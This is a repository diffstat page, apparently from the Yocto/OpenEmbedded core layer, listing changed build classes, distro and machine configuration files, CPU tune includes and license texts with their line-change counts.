summaryrefslogtreecommitdiffstats
path: root/meta
diff options
context:
space:
mode:
Diffstat (limited to 'meta')
-rw-r--r--meta/classes/allarch.bbclass2
-rw-r--r--meta/classes/archiver.bbclass181
-rw-r--r--meta/classes/autotools.bbclass34
-rw-r--r--meta/classes/baremetal-image.bbclass121
-rw-r--r--meta/classes/base.bbclass250
-rw-r--r--meta/classes/bash-completion.bbclass6
-rw-r--r--meta/classes/bin_package.bbclass2
-rw-r--r--meta/classes/binconfig-disabled.bbclass4
-rw-r--r--meta/classes/binconfig.bbclass2
-rw-r--r--meta/classes/blacklist.bbclass20
-rw-r--r--meta/classes/buildhistory.bbclass195
-rw-r--r--meta/classes/buildstats.bbclass90
-rw-r--r--meta/classes/cargo.bbclass90
-rw-r--r--meta/classes/cargo_common.bbclass124
-rw-r--r--meta/classes/ccache.bbclass6
-rw-r--r--meta/classes/chrpath.bbclass34
-rw-r--r--meta/classes/clutter.bbclass18
-rw-r--r--meta/classes/cmake.bbclass103
-rw-r--r--meta/classes/cml1.bbclass36
-rw-r--r--meta/classes/compress_doc.bbclass6
-rw-r--r--meta/classes/core-image.bbclass6
-rw-r--r--meta/classes/cpan-base.bbclass15
-rw-r--r--meta/classes/cpan.bbclass4
-rw-r--r--meta/classes/create-spdx.bbclass1022
-rw-r--r--meta/classes/cross-canadian.bbclass18
-rw-r--r--meta/classes/cross.bbclass10
-rw-r--r--meta/classes/crosssdk.bbclass7
-rw-r--r--meta/classes/cve-check.bbclass324
-rw-r--r--meta/classes/debian.bbclass18
-rw-r--r--meta/classes/deploy.bbclass3
-rw-r--r--meta/classes/devicetree.bbclass12
-rw-r--r--meta/classes/devshell.bbclass11
-rw-r--r--meta/classes/devtool-source.bbclass4
-rw-r--r--meta/classes/devupstream.bbclass25
-rw-r--r--meta/classes/distro_features_check.bbclass35
-rw-r--r--meta/classes/distrooverrides.bbclass6
-rw-r--r--meta/classes/distutils-base.bbclass4
-rw-r--r--meta/classes/distutils-common-base.bbclass25
-rw-r--r--meta/classes/distutils.bbclass87
-rw-r--r--meta/classes/distutils3-base.bbclass5
-rw-r--r--meta/classes/distutils3.bbclass83
-rw-r--r--meta/classes/externalsrc.bbclass44
-rw-r--r--meta/classes/extrausers.bbclass7
-rw-r--r--meta/classes/features_check.bbclass54
-rw-r--r--meta/classes/fontcache.bbclass14
-rw-r--r--meta/classes/gconf.bbclass12
-rw-r--r--meta/classes/gettext.bbclass6
-rw-r--r--meta/classes/gi-docgen.bbclass24
-rw-r--r--meta/classes/gio-module-cache.bbclass10
-rw-r--r--meta/classes/glide.bbclass4
-rw-r--r--meta/classes/gnomebase.bbclass9
-rw-r--r--meta/classes/go-mod.bbclass20
-rw-r--r--meta/classes/go-ptest.bbclass2
-rw-r--r--meta/classes/go.bbclass59
-rw-r--r--meta/classes/goarch.bbclass56
-rw-r--r--meta/classes/gobject-introspection.bbclass28
-rw-r--r--meta/classes/godep.bbclass8
-rw-r--r--meta/classes/grub-efi-cfg.bbclass7
-rw-r--r--meta/classes/gsettings.bbclass14
-rw-r--r--meta/classes/gtk-doc.bbclass23
-rw-r--r--meta/classes/gtk-icon-cache.bbclass49
-rw-r--r--meta/classes/gtk-immodules-cache.bbclass11
-rw-r--r--meta/classes/icecc.bbclass91
-rw-r--r--meta/classes/image-artifact-names.bbclass22
-rw-r--r--meta/classes/image-combined-dbg.bbclass2
-rw-r--r--meta/classes/image-container.bbclass2
-rw-r--r--meta/classes/image-live.bbclass14
-rw-r--r--meta/classes/image-mklibs.bbclass56
-rw-r--r--meta/classes/image-prelink.bbclass64
-rw-r--r--meta/classes/image.bbclass98
-rw-r--r--meta/classes/image_types.bbclass158
-rw-r--r--meta/classes/image_types_wic.bbclass66
-rw-r--r--meta/classes/insane.bbclass556
-rw-r--r--meta/classes/kernel-artifact-names.bbclass13
-rw-r--r--meta/classes/kernel-devicetree.bbclass56
-rw-r--r--meta/classes/kernel-fitimage.bbclass552
-rw-r--r--meta/classes/kernel-grub.bbclass4
-rw-r--r--meta/classes/kernel-module-split.bbclass64
-rw-r--r--meta/classes/kernel-uboot.bbclass14
-rw-r--r--meta/classes/kernel-yocto.bbclass473
-rw-r--r--meta/classes/kernel.bbclass309
-rw-r--r--meta/classes/kernelsrc.bbclass2
-rw-r--r--meta/classes/libc-common.bbclass37
-rw-r--r--meta/classes/libc-package.bbclass35
-rw-r--r--meta/classes/license.bbclass156
-rw-r--r--meta/classes/license_image.bbclass94
-rw-r--r--meta/classes/linux-dummy.bbclass26
-rw-r--r--meta/classes/linuxloader.bbclass43
-rw-r--r--meta/classes/manpages.bbclass20
-rw-r--r--meta/classes/meson-routines.bbclass51
-rw-r--r--meta/classes/meson.bbclass172
-rw-r--r--meta/classes/meta.bbclass4
-rw-r--r--meta/classes/metadata_scm.bbclass8
-rw-r--r--meta/classes/mime-xdg.bbclass74
-rw-r--r--meta/classes/mime.bbclass81
-rw-r--r--meta/classes/mirrors.bbclass136
-rw-r--r--meta/classes/module.bbclass6
-rw-r--r--meta/classes/multilib.bbclass72
-rw-r--r--meta/classes/multilib_global.bbclass86
-rw-r--r--meta/classes/multilib_header.bbclass4
-rw-r--r--meta/classes/multilib_script.bbclass4
-rw-r--r--meta/classes/native.bbclass68
-rw-r--r--meta/classes/nativesdk.bbclass10
-rw-r--r--meta/classes/nopackages.bbclass1
-rw-r--r--meta/classes/npm.bbclass379
-rw-r--r--meta/classes/overlayfs-etc.bbclass76
-rw-r--r--meta/classes/overlayfs.bbclass119
-rw-r--r--meta/classes/own-mirrors.bbclass25
-rw-r--r--meta/classes/package.bbclass613
-rw-r--r--meta/classes/package_deb.bbclass14
-rw-r--r--meta/classes/package_ipk.bbclass22
-rw-r--r--meta/classes/package_pkgdata.bbclass2
-rw-r--r--meta/classes/package_rpm.bbclass90
-rw-r--r--meta/classes/package_tar.bbclass6
-rw-r--r--meta/classes/packagedata.bbclass4
-rw-r--r--meta/classes/packagefeed-stability.bbclass252
-rw-r--r--meta/classes/packagegroup.bbclass2
-rw-r--r--meta/classes/patch.bbclass15
-rw-r--r--meta/classes/pixbufcache.bbclass16
-rw-r--r--meta/classes/pkgconfig.bbclass2
-rw-r--r--meta/classes/populate_sdk_base.bbclass55
-rw-r--r--meta/classes/populate_sdk_ext.bbclass228
-rw-r--r--meta/classes/ptest-gnome.bbclass6
-rw-r--r--meta/classes/ptest-perl.bbclass6
-rw-r--r--meta/classes/ptest.bbclass39
-rw-r--r--meta/classes/pypi.bbclass12
-rw-r--r--meta/classes/python-dir.bbclass5
-rw-r--r--meta/classes/python3-dir.bbclass4
-rw-r--r--meta/classes/python3native.bbclass6
-rw-r--r--meta/classes/python3targetconfig.bbclass29
-rw-r--r--meta/classes/python_flit_core.bbclass5
-rw-r--r--meta/classes/python_pep517.bbclass56
-rw-r--r--meta/classes/python_poetry_core.bbclass5
-rw-r--r--meta/classes/python_pyo3.bbclass30
-rw-r--r--meta/classes/python_setuptools3_rust.bbclass11
-rw-r--r--meta/classes/pythonnative.bbclass27
-rw-r--r--meta/classes/qemu.bbclass3
-rw-r--r--meta/classes/qemuboot.bbclass57
-rw-r--r--meta/classes/relocatable.bbclass20
-rw-r--r--meta/classes/report-error.bbclass2
-rw-r--r--meta/classes/reproducible_build.bbclass179
-rw-r--r--meta/classes/reproducible_build_simple.bbclass10
-rw-r--r--meta/classes/rm_work.bbclass59
-rw-r--r--meta/classes/rm_work_and_downloads.bbclass2
-rw-r--r--meta/classes/rootfs-postcommands.bbclass87
-rw-r--r--meta/classes/rootfs_deb.bbclass6
-rw-r--r--meta/classes/rootfs_ipk.bbclass6
-rw-r--r--meta/classes/rootfs_rpm.bbclass6
-rw-r--r--meta/classes/rootfsdebugfiles.bbclass2
-rw-r--r--meta/classes/rust-bin.bbclass149
-rw-r--r--meta/classes/rust-common.bbclass185
-rw-r--r--meta/classes/rust.bbclass45
-rw-r--r--meta/classes/sanity.bbclass188
-rw-r--r--meta/classes/scons.bbclass11
-rw-r--r--meta/classes/setuptools.bbclass3
-rw-r--r--meta/classes/setuptools3-base.bbclass31
-rw-r--r--meta/classes/setuptools3.bbclass33
-rw-r--r--meta/classes/setuptools3_legacy.bbclass78
-rw-r--r--meta/classes/setuptools_build_meta.bbclass5
-rw-r--r--meta/classes/sign_package_feed.bbclass2
-rw-r--r--meta/classes/sign_rpm.bbclass1
-rw-r--r--meta/classes/siteinfo.bbclass61
-rw-r--r--meta/classes/spdx.bbclass360
-rw-r--r--meta/classes/sstate.bbclass439
-rw-r--r--meta/classes/staging.bbclass104
-rw-r--r--meta/classes/systemd-boot.bbclass2
-rw-r--r--meta/classes/systemd.bbclass49
-rw-r--r--meta/classes/terminal.bbclass5
-rw-r--r--meta/classes/testexport.bbclass8
-rw-r--r--meta/classes/testimage.bbclass135
-rw-r--r--meta/classes/testsdk.bbclass2
-rw-r--r--meta/classes/texinfo.bbclass16
-rw-r--r--meta/classes/toaster.bbclass28
-rw-r--r--meta/classes/toolchain-scripts.bbclass10
-rw-r--r--meta/classes/uboot-config.bbclass72
-rw-r--r--meta/classes/uboot-extlinux-config.bbclass3
-rw-r--r--meta/classes/uboot-sign.bbclass427
-rw-r--r--meta/classes/uninative.bbclass25
-rw-r--r--meta/classes/update-alternatives.bbclass40
-rw-r--r--meta/classes/update-rc.d.bbclass28
-rw-r--r--meta/classes/useradd-staticids.bbclass30
-rw-r--r--meta/classes/useradd.bbclass28
-rw-r--r--meta/classes/useradd_base.bbclass18
-rw-r--r--meta/classes/utility-tasks.bbclass3
-rw-r--r--meta/classes/utils.bbclass56
-rw-r--r--meta/classes/vala.bbclass10
-rw-r--r--meta/classes/waf.bbclass26
-rw-r--r--meta/classes/xmlcatalog.bbclass2
-rw-r--r--meta/classes/yocto-check-layer.bbclass16
-rw-r--r--meta/conf/abi_version.conf10
-rw-r--r--meta/conf/bitbake.conf280
-rw-r--r--meta/conf/conf-notes.txt4
-rw-r--r--meta/conf/distro/defaultsetup.conf8
-rw-r--r--meta/conf/distro/include/cve-extra-exclusions.inc76
-rw-r--r--meta/conf/distro/include/default-distrovars.inc20
-rw-r--r--meta/conf/distro/include/default-providers.inc1
-rw-r--r--meta/conf/distro/include/default-versions.inc1
-rw-r--r--meta/conf/distro/include/distro_alias.inc771
-rw-r--r--meta/conf/distro/include/init-manager-mdev-busybox.inc2
-rw-r--r--meta/conf/distro/include/init-manager-systemd.inc5
-rw-r--r--meta/conf/distro/include/init-manager-sysvinit.inc4
-rw-r--r--meta/conf/distro/include/lto.inc51
-rw-r--r--meta/conf/distro/include/maintainers.inc1576
-rw-r--r--meta/conf/distro/include/no-static-libs.inc49
-rw-r--r--meta/conf/distro/include/ptest-packagelists.inc71
-rw-r--r--meta/conf/distro/include/rust_security_flags.inc7
-rw-r--r--meta/conf/distro/include/security_flags.inc72
-rw-r--r--meta/conf/distro/include/tclibc-baremetal.inc18
-rw-r--r--meta/conf/distro/include/tclibc-glibc.inc2
-rw-r--r--meta/conf/distro/include/tclibc-newlib.inc19
-rw-r--r--meta/conf/distro/include/tcmode-default.inc35
-rw-r--r--meta/conf/distro/include/uninative-flags.inc2
-rw-r--r--meta/conf/distro/include/yocto-uninative.inc11
-rw-r--r--meta/conf/documentation.conf35
-rw-r--r--meta/conf/image-uefi.conf15
-rw-r--r--meta/conf/layer.conf36
-rw-r--r--meta/conf/licenses.conf149
-rw-r--r--meta/conf/local.conf.sample51
-rw-r--r--meta/conf/local.conf.sample.extended78
-rw-r--r--meta/conf/machine-sdk/aarch64.conf2
-rw-r--r--meta/conf/machine-sdk/i586.conf2
-rw-r--r--meta/conf/machine-sdk/i686.conf2
-rw-r--r--meta/conf/machine-sdk/ppc64.conf2
-rw-r--r--meta/conf/machine-sdk/ppc64le.conf2
-rw-r--r--meta/conf/machine-sdk/x86_64.conf2
-rw-r--r--meta/conf/machine/include/README12
-rw-r--r--meta/conf/machine/include/arm/README2
-rw-r--r--meta/conf/machine/include/arm/arch-arm.inc6
-rw-r--r--meta/conf/machine/include/arm/arch-arm64.inc33
-rw-r--r--meta/conf/machine/include/arm/arch-armv4.inc28
-rw-r--r--meta/conf/machine/include/arm/arch-armv5-dsp.inc73
-rw-r--r--meta/conf/machine/include/arm/arch-armv5.inc76
-rw-r--r--meta/conf/machine/include/arm/arch-armv6.inc76
-rw-r--r--meta/conf/machine/include/arm/arch-armv6m.inc19
-rw-r--r--meta/conf/machine/include/arm/arch-armv7a.inc293
-rw-r--r--meta/conf/machine/include/arm/arch-armv7em.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7m.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7r.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv7ve.inc292
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-1m-main.inc18
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-2a.inc19
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-5a.inc19
-rw-r--r--meta/conf/machine/include/arm/arch-armv8a.inc42
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-base.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-main.inc28
-rw-r--r--meta/conf/machine/include/arm/arch-armv8r.inc37
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-ep9312.inc12
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc15
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc13
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc13
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc14
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc22
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crc.inc4
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crypto.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-dsp.inc3
-rw-r--r--meta/conf/machine/include/arm/feature-arm-idiv.inc2
-rw-r--r--meta/conf/machine/include/arm/feature-arm-neon.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-simd.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-thumb.inc6
-rw-r--r--meta/conf/machine/include/m68k/arch-m68k.inc2
-rw-r--r--meta/conf/machine/include/m68k/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/microblaze/arch-microblaze.inc35
-rw-r--r--meta/conf/machine/include/microblaze/feature-microblaze-math.inc12
-rw-r--r--meta/conf/machine/include/microblaze/feature-microblaze-versions.inc6
-rw-r--r--meta/conf/machine/include/microblaze/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/mips/README4
-rw-r--r--meta/conf/machine/include/mips/arch-mips.inc170
-rw-r--r--meta/conf/machine/include/mips/feature-mips-mips16e.inc2
-rw-r--r--meta/conf/machine/include/mips/qemuboot-mips.inc8
-rw-r--r--meta/conf/machine/include/mips/tune-mips-24k.inc38
-rw-r--r--meta/conf/machine/include/mips/tune-mips-74k.inc26
-rw-r--r--meta/conf/machine/include/mips/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r2.inc84
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/mips/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/powerpc/README4
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc.inc43
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc64.inc21
-rw-r--r--meta/conf/machine/include/powerpc/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power9.inc31
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc603e.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc7400.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c3.inc23
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500.inc (renamed from meta/conf/machine/include/tune-ppce500.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500mc.inc (renamed from meta/conf/machine/include/tune-ppce500mc.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500v2.inc (renamed from meta/conf/machine/include/tune-ppce500v2.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce5500.inc23
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce6500.inc24
-rw-r--r--meta/conf/machine/include/qemu.inc11
-rw-r--r--meta/conf/machine/include/qemuboot-mips.inc7
-rw-r--r--meta/conf/machine/include/qemuboot-x86.inc16
-rw-r--r--meta/conf/machine/include/riscv/arch-riscv.inc13
-rw-r--r--meta/conf/machine/include/riscv/qemuriscv.inc13
-rw-r--r--meta/conf/machine/include/riscv/tune-riscv.inc32
-rw-r--r--meta/conf/machine/include/sh/README4
-rw-r--r--meta/conf/machine/include/sh/arch-sh.inc4
-rw-r--r--meta/conf/machine/include/sh/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/sh/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa32.inc18
-rw-r--r--meta/conf/machine/include/tune-cortexa35.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa53.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa57-cortexa53.inc18
-rw-r--r--meta/conf/machine/include/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa72.inc13
-rw-r--r--meta/conf/machine/include/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/tune-ep9312.inc13
-rw-r--r--meta/conf/machine/include/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/tune-iwmmxt.inc15
-rw-r--r--meta/conf/machine/include/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/tune-mips64r2.inc84
-rw-r--r--meta/conf/machine/include/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc603e.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc7400.inc14
-rw-r--r--meta/conf/machine/include/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/tune-ppce300c3.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce5500.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce6500.inc24
-rw-r--r--meta/conf/machine/include/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/tune-supersparc.inc4
-rw-r--r--meta/conf/machine/include/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/x86/README2
-rw-r--r--meta/conf/machine/include/x86/arch-x86.inc40
-rw-r--r--meta/conf/machine/include/x86/qemuboot-x86.inc14
-rw-r--r--meta/conf/machine/include/x86/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/x86/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/x86/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/x86/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/x86/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/x86/x86-base.inc (renamed from meta/conf/machine/include/x86-base.inc)6
-rw-r--r--meta/conf/machine/qemuarm.conf18
-rw-r--r--meta/conf/machine/qemuarm64.conf16
-rw-r--r--meta/conf/machine/qemuarmv5.conf14
-rw-r--r--meta/conf/machine/qemumips.conf8
-rw-r--r--meta/conf/machine/qemumips64.conf6
-rw-r--r--meta/conf/machine/qemuppc.conf6
-rw-r--r--meta/conf/machine/qemuppc64.conf22
-rw-r--r--meta/conf/machine/qemuriscv32.conf16
-rw-r--r--meta/conf/machine/qemuriscv64.conf2
-rw-r--r--meta/conf/machine/qemux86-64.conf9
-rw-r--r--meta/conf/machine/qemux86.conf9
-rw-r--r--meta/conf/multilib.conf11
-rw-r--r--meta/conf/sanity.conf4
-rw-r--r--meta/files/common-licenses/0BSD5
-rw-r--r--meta/files/common-licenses/ADSL1
-rw-r--r--meta/files/common-licenses/AFL-1.127
-rw-r--r--meta/files/common-licenses/AGPL-1.0-only86
-rw-r--r--meta/files/common-licenses/AGPL-1.0-or-later86
-rw-r--r--meta/files/common-licenses/AGPL-3.0-only (renamed from meta/files/common-licenses/AGPL-3.0)0
-rw-r--r--meta/files/common-licenses/AGPL-3.0-or-later613
-rw-r--r--meta/files/common-licenses/AMDPLPA20
-rw-r--r--meta/files/common-licenses/AML9
-rw-r--r--meta/files/common-licenses/AMPAS13
-rw-r--r--meta/files/common-licenses/ANTLR-PD-fallback7
-rw-r--r--meta/files/common-licenses/APAFML3
-rw-r--r--meta/files/common-licenses/Abstyles11
-rw-r--r--meta/files/common-licenses/Adobe-200612
-rw-r--r--meta/files/common-licenses/Adobe-Glyph10
-rw-r--r--meta/files/common-licenses/Afmparse10
-rw-r--r--meta/files/common-licenses/Aladdin62
-rw-r--r--meta/files/common-licenses/Artistic-1.0-Perl51
-rw-r--r--meta/files/common-licenses/Artistic-1.0-cl851
-rw-r--r--meta/files/common-licenses/BSD26
-rw-r--r--meta/files/common-licenses/BSD-0-Clause12
-rw-r--r--meta/files/common-licenses/BSD-2-Clause-Patent47
-rw-r--r--meta/files/common-licenses/BSD-2-Clause-Views11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Attribution11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Clear32
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-LBNL12
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Modification35
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Military-License16
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-201416
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Open-MPI34
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-Shortened13
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-UC15
-rw-r--r--meta/files/common-licenses/BSD-Protection53
-rw-r--r--meta/files/common-licenses/BSD-Source-Code10
-rw-r--r--meta/files/common-licenses/BUSL-1.172
-rw-r--r--meta/files/common-licenses/Bahyph11
-rw-r--r--meta/files/common-licenses/Barr1
-rw-r--r--meta/files/common-licenses/Beerware1
-rw-r--r--meta/files/common-licenses/BitTorrent-1.0330
-rw-r--r--meta/files/common-licenses/BitTorrent-1.1137
-rw-r--r--meta/files/common-licenses/BlueOak-1.0.055
-rw-r--r--meta/files/common-licenses/Borceux19
-rw-r--r--meta/files/common-licenses/C-UDA-1.047
-rw-r--r--meta/files/common-licenses/CAL-1.0354
-rw-r--r--meta/files/common-licenses/CAL-1.0-Combined-Work-Exception354
-rw-r--r--meta/files/common-licenses/CC-BY-2.5-AU112
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-AT111
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-DE109
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-NL97
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-US83
-rw-r--r--meta/files/common-licenses/CC-BY-4.0156
-rw-r--r--meta/files/common-licenses/CC-BY-NC-3.0-DE110
-rw-r--r--meta/files/common-licenses/CC-BY-NC-4.0158
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-DE101
